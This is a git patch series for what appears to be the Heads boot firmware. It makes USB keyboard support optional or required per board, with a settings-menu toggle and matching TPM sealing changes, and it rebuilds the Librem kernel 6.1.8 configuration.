From 0a823cb491be440570726269960ea9e1a56009f6 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Tue, 9 Jan 2024 09:43:28 -0500 Subject: [PATCH 001/619] Allow laptops to include optional USB keyboard support Laptops can include optional USB keyboard support (default off unless the board also sets the default to 'y'). The setting is in the configuration GUI. CONFIG_USER_USB_KEYBOARD is now the user-controlled setting on those boards. 'CONFIG_USB_KEYBOARD' is no longer used to avoid any conflict with prior releases that expect this to be a compile-time setting only (conflicts risk total lock out requiring hardware flash, so some caution is justified IMO). Boards previously exporting CONFIG_USB_KEYBOARD now export CONFIG_USB_KEYBOARD_REQUIRED. Those boards don't have built-in keyboards, USB keyboard is always enabled. (librem_mini, librem_mini_v2, librem_11, librem_l1um, librem_l1um_v2, talos-2, kgpe-d16_workstation-usb_keyboard, x230-hotp-maximized_usb-kb). Librem laptops now export CONFIG_SUPPORT_USB_KEYBOARD to enable optional support. The default is still 'off'. Signed-off-by: Jonathon Hall --- Makefile | 12 ++++++ ...D_kgpe-d16_workstation-usb_keyboard.config | 2 +- boards/librem_11/librem_11.config | 2 +- boards/librem_13v2/librem_13v2.config | 1 + boards/librem_13v4/librem_13v4.config | 1 + boards/librem_14/librem_14.config | 1 + boards/librem_15v3/librem_15v3.config | 1 + boards/librem_15v4/librem_15v4.config | 1 + boards/librem_l1um/librem_l1um.config | 2 +- boards/librem_l1um_v2/librem_l1um_v2.config | 2 +- boards/librem_mini/librem_mini.config | 2 +- boards/librem_mini_v2/librem_mini_v2.config | 2 +- boards/talos-2/talos-2.config | 2 +- .../x230-hotp-maximized_usb-kb.config | 2 +- initrd/bin/config-gui.sh | 38 +++++++++++++++++++ initrd/bin/kexec-seal-key | 2 +- initrd/etc/ash_functions | 8 +++- initrd/init | 2 +- modules/linux | 2 +- 19 files changed, 73 insertions(+), 12 deletions(-) diff --git a/Makefile b/Makefile index de0d3e4f5..0e2de85f1 100644 --- a/Makefile +++ b/Makefile @@ -72,6 +72,18 @@ CONFIG_HEADS ?= y # Unless otherwise specified, we are building bash to have non-interactive shell for scripts (arrays and bashisms) CONFIG_BASH ?= y +# USB keyboards can be ignored, optionally supported, or required. +# +# To optionally support USB keyboards, export CONFIG_SUPPORT_USB_KEYBOARD=y. To +# default the setting to 'on', also export CONFIG_USER_USB_KEYBOARD=y. +# +# To require USB keyboard support (not user-configurable, for boards with no +# built-in keyboard), export CONFIG_USB_KEYBOARD_REQUIRED=y. +ifeq "$(CONFIG_USB_KEYBOARD_REQUIRED)" "y" +# CONFIG_USB_KEYBOARD_REQUIRED implies CONFIG_SUPPORT_USB_KEYBOARD. +export CONFIG_SUPPORT_USB_KEYBOARD=y +endif + # Determine arch part for a host triplet ifeq "$(CONFIG_TARGET_ARCH)" "x86" MUSL_ARCH := x86_64 diff --git a/boards/UNTESTED_kgpe-d16_workstation-usb_keyboard/UNTESTED_kgpe-d16_workstation-usb_keyboard.config b/boards/UNTESTED_kgpe-d16_workstation-usb_keyboard/UNTESTED_kgpe-d16_workstation-usb_keyboard.config index 78b56ff42..519c78109 100644 --- a/boards/UNTESTED_kgpe-d16_workstation-usb_keyboard/UNTESTED_kgpe-d16_workstation-usb_keyboard.config +++ b/boards/UNTESTED_kgpe-d16_workstation-usb_keyboard/UNTESTED_kgpe-d16_workstation-usb_keyboard.config @@ -44,7 +44,7 @@ CONFIG_LINUX_E1000E=y export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y #Enable USB Keyboard support -export CONFIG_USB_KEYBOARD=y +export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_TPM=y #BOOT SCRIPT SELECTION diff --git a/boards/librem_11/librem_11.config b/boards/librem_11/librem_11.config index 07c8b8e42..75de0ed54 100644 --- a/boards/librem_11/librem_11.config +++ b/boards/librem_11/librem_11.config @@ -37,7 +37,7 @@ export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem 11" export CONFIG_FLASHROM_OPTIONS="-p internal" -export CONFIG_USB_KEYBOARD=y +export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_13v2/librem_13v2.config b/boards/librem_13v2/librem_13v2.config index ad5365eda..f6d44990f 100644 --- a/boards/librem_13v2/librem_13v2.config +++ b/boards/librem_13v2/librem_13v2.config @@ -26,6 +26,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init diff --git a/boards/librem_13v4/librem_13v4.config b/boards/librem_13v4/librem_13v4.config index ea7cff2c6..f92c249a7 100644 --- a/boards/librem_13v4/librem_13v4.config +++ b/boards/librem_13v4/librem_13v4.config @@ -26,6 +26,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index 609f6c09f..c04f95ac3 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -26,6 +26,7 @@ CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y export CONFIG_TPM=y +export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n diff --git a/boards/librem_15v3/librem_15v3.config b/boards/librem_15v3/librem_15v3.config index 5897323a8..14049aba2 100644 --- a/boards/librem_15v3/librem_15v3.config +++ b/boards/librem_15v3/librem_15v3.config @@ -26,6 +26,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init diff --git a/boards/librem_15v4/librem_15v4.config b/boards/librem_15v4/librem_15v4.config index 6b5889dce..c95e61015 100644 --- a/boards/librem_15v4/librem_15v4.config +++ b/boards/librem_15v4/librem_15v4.config @@ -27,6 +27,7 @@ CONFIG_FBWHIPTAIL=y CONFIG_HOTPKEY=y CONFIG_LINUX_USB=y +export CONFIG_SUPPORT_USB_KEYBOARD=y export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init diff --git a/boards/librem_l1um/librem_l1um.config b/boards/librem_l1um/librem_l1um.config index 0a670fef1..c5d960b11 100644 --- a/boards/librem_l1um/librem_l1um.config +++ b/boards/librem_l1um/librem_l1um.config @@ -37,7 +37,7 @@ export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem Server L1UM" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_FLASHROM_OPTIONS="-p internal" -export CONFIG_USB_KEYBOARD=y +export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" export CONFIG_ROOT_CHECK_AT_BOOT="n" diff --git a/boards/librem_l1um_v2/librem_l1um_v2.config b/boards/librem_l1um_v2/librem_l1um_v2.config index a02c69b57..32bdfa1e3 100644 --- a/boards/librem_l1um_v2/librem_l1um_v2.config +++ b/boards/librem_l1um_v2/librem_l1um_v2.config @@ -41,7 +41,7 @@ export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem Server L1UM v2" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_FLASHROM_OPTIONS="-p internal" -export CONFIG_USB_KEYBOARD=y +export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" export CONFIG_ROOT_CHECK_AT_BOOT="n" diff --git a/boards/librem_mini/librem_mini.config b/boards/librem_mini/librem_mini.config index 11f1b145e..a460a21a4 100644 --- a/boards/librem_mini/librem_mini.config +++ b/boards/librem_mini/librem_mini.config @@ -37,7 +37,7 @@ export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem Mini" export CONFIG_FLASHROM_OPTIONS="-p internal" -export CONFIG_USB_KEYBOARD=y +export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_mini_v2/librem_mini_v2.config b/boards/librem_mini_v2/librem_mini_v2.config index 39fa1ff37..ed1be16f5 100644 --- a/boards/librem_mini_v2/librem_mini_v2.config +++ b/boards/librem_mini_v2/librem_mini_v2.config @@ -37,7 +37,7 @@ export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOOT_DEV="/dev/nvme0n1p1" export CONFIG_BOARD_NAME="Librem Mini v2" export CONFIG_FLASHROM_OPTIONS="-p internal" -export CONFIG_USB_KEYBOARD=y +export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/talos-2/talos-2.config b/boards/talos-2/talos-2.config index d4e98a253..cc92b6944 100644 --- a/boards/talos-2/talos-2.config +++ b/boards/talos-2/talos-2.config @@ -37,7 +37,7 @@ CONFIG_DROPBEAR=y # for OpenBMC VGA console export CONFIG_USE_AGETTY=y -export CONFIG_USB_KEYBOARD=y +export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_BOOT_EXTRA_TTYS="tty0" export CONFIG_TPM=y diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index 167fb4314..a2e616600 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -18,7 +18,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y -export CONFIG_USB_KEYBOARD=y +export CONFIG_USB_KEYBOARD_REQUIRED=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index 24a940ba0..3e61a7da5 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -70,6 +70,16 @@ while true; do 'N' " $(get_config_display_action "$CONFIG_AUTOMATIC_POWERON") automatic power-on" ) + # Boards with built-in keyboards can support optional USB keyboards as well. + # Export CONFIG_SUPPORT_USB_KEYBOARD=y to enable optional support. + # Boards that do not have a built-in keyboard export + # CONFIG_USB_KEYBOARD_REQUIRED=y; this hides the config option and ensures + # USB keyboard support always loads. + [ "$CONFIG_SUPPORT_USB_KEYBOARD" = y ] && [ "$CONFIG_USB_KEYBOARD_REQUIRED" != y ] \ + && dynamic_config_options+=( + 'K' " $(get_config_display_action "$CONFIG_USER_USB_KEYBOARD") USB keyboard" + ) + # Debugging option always available dynamic_config_options+=( 'Z' " $(get_config_display_action "$CONFIG_DEBUG_OUTPUT") $CONFIG_BRAND_NAME debug and function tracing output" @@ -514,6 +524,34 @@ while true; do fi fi ;; + "K" ) + if [ "$CONFIG_USER_USB_KEYBOARD" != "y" ]; then + if (whiptail --title 'Enable USB Keyboard?' \ + --yesno "USB keyboards will be usable in $CONFIG_BRAND_NAME. + \n\nIgnoring USB keyboards prevents a compromised USB device from controlling + \n$CONFIG_BRAND_NAME. + \n\nDo you want to proceed?" 0 80) then + + set_user_config "CONFIG_USER_USB_KEYBOARD" "y" + + whiptail --title 'Config change successful' \ + --msgbox "USB Keyboard support has been enabled;\nsave the config change and reboot for it to go into effect." 0 80 + + fi + else + if (whiptail --title 'Disable USB Keyboard?' \ + --yesno "Only the built-in keyboard will be usable in $CONFIG_BRAND_NAME. + \n\nIgnoring USB keyboards prevents a compromised USB device from controlling + \n$CONFIG_BRAND_NAME. + \n\nDo you want to proceed?" 0 80) then + + set_user_config "CONFIG_USER_USB_KEYBOARD" "n" + + whiptail --title 'Config change successful' \ + --msgbox "USB Keyboard support has been disabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + fi + ;; "Z" ) if [ "$CONFIG_DEBUG_OUTPUT" != "y" ]; then if (whiptail --title 'Enable Debugging and Tracing output?' \ diff --git a/initrd/bin/kexec-seal-key b/initrd/bin/kexec-seal-key index 03b64ab86..398e30fb5 100755 --- a/initrd/bin/kexec-seal-key +++ b/initrd/bin/kexec-seal-key @@ -120,7 +120,7 @@ tpmr pcrread -a 2 "$pcrf" tpmr pcrread -a 3 "$pcrf" # Note that PCR 4 needs to be set with the "normal-boot" path value, read it from event log. tpmr calcfuturepcr 4 >>"$pcrf" -if [ "$CONFIG_USB_KEYBOARD" = "y" -o -r /lib/modules/libata.ko -o -x /bin/hotp_verification ]; then +if [ "$CONFIG_USER_USB_KEYBOARD" = "y" -o -r /lib/modules/libata.ko -o -x /bin/hotp_verification ]; then DEBUG "Sealing TPM Disk Unlock key with PCR5 involvement (additional kernel modules are loaded per board config)..." # Here, we take pcr 5 into consideration if modules are expected to be measured+loaded tpmr pcrread -a 5 "$pcrf" diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index 078c3bdd2..58634307a 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -350,7 +350,13 @@ enable_usb() sleep 2 fi - if [ "$CONFIG_USB_KEYBOARD" = y ]; then + # For resiliency, test CONFIG_USB_KEYBOARD_REQUIRED explicitly rather + # than having it imply CONFIG_USER_USB_KEYBOARD at build time. + # Otherwise, if a user got CONFIG_USER_USB_KEYBOARD=n in their + # config.user by mistake (say, by copying config.user from a laptop to a + # desktop/server), they could lock themselves out, only recoverable by + # hardware flash. + if [ "$CONFIG_USB_KEYBOARD_REQUIRED" = y ] || [ "$CONFIG_USER_USB_KEYBOARD" = y ]; then if ! lsmod | grep -q usbhid; then insmod /lib/modules/usbhid.ko \ || die "usbhid: module load failed" diff --git a/initrd/init b/initrd/init index 1b0d13ae3..dee9256a3 100755 --- a/initrd/init +++ b/initrd/init @@ -150,7 +150,7 @@ if [ ! -z "$CONFIG_BOOT_RECOVERY_SERIAL" ]; then fi # load USB modules for boards using a USB keyboard -if [ "$CONFIG_USB_KEYBOARD" = "y" ]; then +if [ "$CONFIG_USB_KEYBOARD_REQUIRED" = y ] || [ "$CONFIG_USER_USB_KEYBOARD" = "y" ]; then enable_usb fi diff --git a/modules/linux b/modules/linux index afcabf4e5..07b592a10 100644 --- a/modules/linux +++ b/modules/linux @@ -123,7 +123,7 @@ linux_modules-$(CONFIG_LINUX_USB) += drivers/usb/host/xhci-pci.ko linux_modules-$(CONFIG_LINUX_USB) += drivers/usb/storage/usb-storage.ko #USB modules when a USB keyboard is defined in board config -linux_modules-$(CONFIG_USB_KEYBOARD) += drivers/hid/usbhid/usbhid.ko +linux_modules-$(CONFIG_SUPPORT_USB_KEYBOARD) += drivers/hid/usbhid/usbhid.ko # NVMe driver for winterfell and other servers linux_modules-$(CONFIG_LINUX_NVME) += drivers/nvme/host/nvme.ko From 2b41a740c4ee95ba7dafcea2f99e736785f93e37 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Wed, 17 Jan 2024 16:10:03 -0500 Subject: [PATCH 002/619] config/linux-librem_common-6.1.8: Rebuild starting with 5.10 config Rebuild the kernel 6.1.8 config for Librem devices starting from the current 5.10 config as a base. The current 5.10 config had cleaned up some unneeded options, but that hadn't been carried over to the 6.1.8 config. Graphics init still uses EFIFB in the 6.1.8 kernel. 5.10 keeps DRM+ast to support librem_l1um (the only board still using it). Signed-off-by: Jonathon Hall --- config/linux-librem_common-6.1.8.config | 487 +++++++++--------------- 1 file changed, 180 insertions(+), 307 deletions(-) diff --git a/config/linux-librem_common-6.1.8.config b/config/linux-librem_common-6.1.8.config index 1e482862c..9d83a8db2 100644 --- a/config/linux-librem_common-6.1.8.config +++ b/config/linux-librem_common-6.1.8.config @@ -71,7 +71,6 @@ CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y CONFIG_GENERIC_IRQ_RESERVATION_MODE=y CONFIG_IRQ_FORCED_THREADING=y CONFIG_SPARSE_IRQ=y -# CONFIG_GENERIC_IRQ_DEBUGFS is not set # end of IRQ subsystem CONFIG_CLOCKSOURCE_WATCHDOG=y @@ -111,13 +110,11 @@ CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_BPF_JIT is not set # end of BPF subsystem -CONFIG_PREEMPT_BUILD=y -# CONFIG_PREEMPT_NONE is not set -CONFIG_PREEMPT_VOLUNTARY=y +CONFIG_PREEMPT_NONE_BUILD=y +CONFIG_PREEMPT_NONE=y +# CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set -CONFIG_PREEMPT_COUNT=y -CONFIG_PREEMPTION=y -CONFIG_PREEMPT_DYNAMIC=y +# CONFIG_PREEMPT_DYNAMIC is not set # CONFIG_SCHED_CORE is not set # @@ -126,18 +123,15 @@ CONFIG_PREEMPT_DYNAMIC=y CONFIG_TICK_CPU_ACCOUNTING=y # CONFIG_VIRT_CPU_ACCOUNTING_GEN is not set # CONFIG_IRQ_TIME_ACCOUNTING is not set -# CONFIG_BSD_PROCESS_ACCT is not set -# CONFIG_TASKSTATS is not set # CONFIG_PSI is not set # end of CPU/Task time and stats accounting -CONFIG_CPU_ISOLATION=y +# CONFIG_CPU_ISOLATION is not set # # RCU Subsystem # CONFIG_TREE_RCU=y -CONFIG_PREEMPT_RCU=y # CONFIG_RCU_EXPERT is not set CONFIG_SRCU=y CONFIG_TREE_SRCU=y @@ -150,7 +144,6 @@ CONFIG_RCU_NEED_SEGCBLIST=y CONFIG_LOG_BUF_SHIFT=18 CONFIG_LOG_CPU_MAX_BUF_SHIFT=12 CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13 -# CONFIG_PRINTK_INDEX is not set CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y # @@ -167,7 +160,6 @@ CONFIG_GCC11_NO_ARRAY_BOUNDS=y CONFIG_GCC12_NO_ARRAY_BOUNDS=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CGROUPS is not set -# CONFIG_NAMESPACES is not set # CONFIG_CHECKPOINT_RESTORE is not set # CONFIG_SCHED_AUTOGROUP is not set # CONFIG_SYSFS_DEPRECATED is not set @@ -182,19 +174,18 @@ CONFIG_INITRAMFS_ROOT_GID=0 CONFIG_RD_XZ=y # CONFIG_RD_LZO is not set # CONFIG_RD_LZ4 is not set -CONFIG_RD_ZSTD=y +# CONFIG_RD_ZSTD is not set CONFIG_INITRAMFS_COMPRESSION_XZ=y -# CONFIG_INITRAMFS_COMPRESSION_ZSTD is not set # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set -CONFIG_INITRAMFS_PRESERVE_MTIME=y +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y CONFIG_EXPERT=y -CONFIG_MULTIUSER=y +# CONFIG_MULTIUSER is not set # CONFIG_SGETMASK_SYSCALL is not set # CONFIG_SYSFS_SYSCALL is not set # CONFIG_FHANDLE is not set @@ -214,14 +205,10 @@ CONFIG_SHMEM=y CONFIG_IO_URING=y # CONFIG_ADVISE_SYSCALLS is not set CONFIG_MEMBARRIER=y -CONFIG_KALLSYMS=y -# CONFIG_KALLSYMS_ALL is not set -CONFIG_KALLSYMS_ABSOLUTE_PERCPU=y -CONFIG_KALLSYMS_BASE_RELATIVE=y +# CONFIG_KALLSYMS is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y -# CONFIG_KCMP is not set -CONFIG_RSEQ=y -# CONFIG_DEBUG_RSEQ is not set +CONFIG_KCMP=y +# CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y # CONFIG_PC104 is not set @@ -262,7 +249,7 @@ CONFIG_HAVE_INTEL_TXT=y CONFIG_X86_64_SMP=y CONFIG_ARCH_SUPPORTS_UPROBES=y CONFIG_FIX_EARLYCON_MEM=y -CONFIG_PGTABLE_LEVELS=5 +CONFIG_PGTABLE_LEVELS=4 CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # @@ -270,23 +257,26 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y -CONFIG_X86_MPPARSE=y +# CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set # CONFIG_X86_AMD_PLATFORM_DEVICE is not set -# CONFIG_IOSF_MBI is not set +CONFIG_IOSF_MBI=y CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y CONFIG_SCHED_OMIT_FRAME_POINTER=y # CONFIG_HYPERVISOR_GUEST is not set # CONFIG_MK8 is not set # CONFIG_MPSC is not set -# CONFIG_MCORE2 is not set +CONFIG_MCORE2=y # CONFIG_MATOM is not set -CONFIG_GENERIC_CPU=y +# CONFIG_GENERIC_CPU is not set CONFIG_X86_INTERNODE_CACHE_SHIFT=6 CONFIG_X86_L1_CACHE_SHIFT=6 +CONFIG_X86_INTEL_USERCOPY=y +CONFIG_X86_USE_PPRO_CHECKSUM=y +CONFIG_X86_P6_NOP=y CONFIG_X86_TSC=y CONFIG_X86_CMPXCHG64=y CONFIG_X86_CMOV=y @@ -296,54 +286,46 @@ CONFIG_IA32_FEAT_CTL=y CONFIG_X86_VMX_FEATURE_NAMES=y CONFIG_PROCESSOR_SELECT=y CONFIG_CPU_SUP_INTEL=y -CONFIG_CPU_SUP_AMD=y -CONFIG_CPU_SUP_HYGON=y +# CONFIG_CPU_SUP_AMD is not set +# CONFIG_CPU_SUP_HYGON is not set # CONFIG_CPU_SUP_CENTAUR is not set -CONFIG_CPU_SUP_ZHAOXIN=y +# CONFIG_CPU_SUP_ZHAOXIN is not set CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y CONFIG_DMI=y -# CONFIG_GART_IOMMU is not set CONFIG_BOOT_VESA_SUPPORT=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 -CONFIG_NR_CPUS=64 +CONFIG_NR_CPUS=32 CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_SCHED_MC_PRIO=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y -CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS=y +# CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set CONFIG_X86_MCE=y # CONFIG_X86_MCELOG_LEGACY is not set CONFIG_X86_MCE_INTEL=y -# CONFIG_X86_MCE_AMD is not set CONFIG_X86_MCE_THRESHOLD=y -# CONFIG_X86_MCE_INJECT is not set # # Performance monitoring # -CONFIG_PERF_EVENTS_INTEL_UNCORE=y +# CONFIG_PERF_EVENTS_INTEL_UNCORE is not set # CONFIG_PERF_EVENTS_INTEL_RAPL is not set -CONFIG_PERF_EVENTS_INTEL_CSTATE=y -# CONFIG_PERF_EVENTS_AMD_POWER is not set -CONFIG_PERF_EVENTS_AMD_UNCORE=y -# CONFIG_PERF_EVENTS_AMD_BRS is not set +# CONFIG_PERF_EVENTS_INTEL_CSTATE is not set # end of Performance monitoring -CONFIG_X86_VSYSCALL_EMULATION=y +# CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set -CONFIG_X86_5LEVEL=y +# CONFIG_X86_5LEVEL is not set CONFIG_X86_DIRECT_GBPAGES=y -# CONFIG_X86_CPA_STATISTICS is not set -# CONFIG_AMD_MEM_ENCRYPT is not set # CONFIG_NUMA is not set CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y @@ -372,14 +354,18 @@ CONFIG_ARCH_HAS_KEXEC_PURGATORY=y # CONFIG_KEXEC_SIG is not set # CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 -# CONFIG_RELOCATABLE is not set +CONFIG_RELOCATABLE=y +CONFIG_RANDOMIZE_BASE=y +CONFIG_X86_NEED_RELOCS=y CONFIG_PHYSICAL_ALIGN=0x1000000 CONFIG_DYNAMIC_MEMORY_LAYOUT=y +CONFIG_RANDOMIZE_MEMORY=y +CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set -CONFIG_LEGACY_VSYSCALL_XONLY=y -# CONFIG_LEGACY_VSYSCALL_NONE is not set +# CONFIG_LEGACY_VSYSCALL_XONLY is not set +CONFIG_LEGACY_VSYSCALL_NONE=y # CONFIG_CMDLINE_BOOL is not set # CONFIG_MODIFY_LDT_SYSCALL is not set # CONFIG_STRICT_SIGALTSTACK_SIZE is not set @@ -390,7 +376,6 @@ CONFIG_CC_HAS_RETURN_THUNK=y CONFIG_SPECULATION_MITIGATIONS=y CONFIG_PAGE_TABLE_ISOLATION=y # CONFIG_RETPOLINE is not set -CONFIG_CPU_IBPB_ENTRY=y CONFIG_CPU_IBRS_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y @@ -434,7 +419,6 @@ CONFIG_ACPI_CONTAINER=y CONFIG_ACPI_HOTPLUG_IOAPIC=y # CONFIG_ACPI_SBS is not set # CONFIG_ACPI_HED is not set -# CONFIG_ACPI_CUSTOM_METHOD is not set # CONFIG_ACPI_BGRT is not set # CONFIG_ACPI_REDUCED_HARDWARE_ONLY is not set # CONFIG_ACPI_NFIT is not set @@ -455,10 +439,10 @@ CONFIG_X86_PM_TIMER=y CONFIG_CPU_FREQ=y CONFIG_CPU_FREQ_GOV_ATTR_SET=y # CONFIG_CPU_FREQ_STAT is not set -# CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE is not set +CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y # CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set # CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set -CONFIG_CPU_FREQ_DEFAULT_GOV_SCHEDUTIL=y +# CONFIG_CPU_FREQ_DEFAULT_GOV_SCHEDUTIL is not set CONFIG_CPU_FREQ_GOV_PERFORMANCE=y # CONFIG_CPU_FREQ_GOV_POWERSAVE is not set # CONFIG_CPU_FREQ_GOV_USERSPACE is not set @@ -498,12 +482,10 @@ CONFIG_CPU_IDLE_GOV_MENU=y # Bus options (PCI etc.) # CONFIG_PCI_DIRECT=y -CONFIG_PCI_MMCONFIG=y -CONFIG_MMCONF_FAM10H=y +# CONFIG_PCI_MMCONFIG is not set # CONFIG_PCI_CNB20LE_QUIRK is not set # CONFIG_ISA_BUS is not set CONFIG_ISA_DMA_API=y -CONFIG_AMD_NB=y # end of Bus options (PCI etc.) # @@ -625,7 +607,6 @@ CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y CONFIG_STRICT_MODULE_RWX=y CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y CONFIG_ARCH_USE_MEMREMAP_PROT=y -# CONFIG_LOCK_EVENT_COUNTS is not set CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y @@ -642,7 +623,6 @@ CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y # # GCOV-based kernel profiling # -# CONFIG_GCOV_KERNEL is not set CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling @@ -665,7 +645,8 @@ CONFIG_MODULE_COMPRESS_NONE=y # CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set CONFIG_MODPROBE_PATH="/sbin/modprobe" -# CONFIG_TRIM_UNUSED_KSYMS is not set +CONFIG_TRIM_UNUSED_KSYMS=y +CONFIG_UNUSED_KSYMS_WHITELIST="" CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y CONFIG_BLOCK_LEGACY_AUTOLOAD=y @@ -674,7 +655,6 @@ CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_DEV_ZONED is not set # CONFIG_BLK_WBT is not set -CONFIG_BLK_DEBUG_FS=y # 